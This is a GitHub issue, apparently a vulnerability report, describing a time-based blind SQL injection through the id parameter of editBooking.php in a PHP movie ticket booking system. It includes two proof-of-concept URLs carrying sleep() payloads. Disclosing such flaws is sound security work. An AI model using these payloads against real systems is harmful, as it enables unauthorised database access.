Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Movie Ticket Booking System-PHP SQL injection vulnerability exists #3

Closed
huclilu opened this issue Dec 1, 2022 · 0 comments
Closed

Comments

@huclilu
Copy link

huclilu commented Dec 1, 2022

Building environment:Apache2.4.49;MySQL5.7.26;PHP7.3.4

1.Movie Ticket Booking System-PHP SQL injection vulnerability exists

At editBooking In PHP, in lines 30-38 of the code, the parameters requested by the front-end POST include first, last, number, email, and amount, while the variable $id is controllable. In lines 17-19 of the code, it is directly substituted into the database for query. In line 38 of the code, a SQL injection vulnerability is generated at $id

  • SQL injection delay 5 seconds

1201delay5s

  • SQL injection delay 10 seconds

1202delay10s

POC:

http://vulcinema.test/admin/editBooking.php?id=71%27%20and%20(select(sleep(10)))--%20ace
http://vulcinema.test/admin/editBooking.php?id=71%27%20and%20(select(sleep(5)))--%20ace
@huclilu huclilu closed this as completed Dec 1, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant